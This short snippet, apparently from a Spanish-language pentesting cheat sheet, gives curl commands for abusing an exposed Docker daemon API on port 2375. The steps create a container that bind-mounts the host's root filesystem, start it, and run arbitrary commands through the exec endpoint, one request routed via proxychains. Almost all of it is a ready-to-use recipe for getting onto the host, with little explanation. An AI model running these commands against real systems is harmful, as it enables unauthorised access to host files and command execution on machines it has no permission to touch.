Cuando tienes Docker es muy sencillo, pero que pasa si solo tienes curl?
#So you 'create' the container from the image: curl -H 'Content-Type: application/json' -d '{"image": "redis:latest", "cmd": "./run.sh", "Volumes": {"/mnt": {}}, "Binds": ["/:/mnt:ro"]}' -X POST 172.17.0.1:2375/v1.40/containers/create #Then you need to start the container: curl -H 'Content-Type: application/json' -d '' -X POST 172.17.0.1:2375/containers/<container id>/start #You can check if the container is running with: proxychains curl 172.17.0.1:2375/v1.40/containers/json #Create an exec command (this one does "ls /": curl -H 'Content-Type: application/json' -d '{"AttachStdout": true, "Tty": true, "Cmd": ["ls", "/"]}' -X POST 172.17.0.1:2375/v1.40/containers/<container id>/exec #This returns an exec ID. curl -H 'Content-Type: application/json' -d '{"Detach": false, "Tty": true}' -X POST 172.17.0.1:2375/v1.40/exec/<exec id>/start #Cuando lo mandas la respuesta es el resultado del comando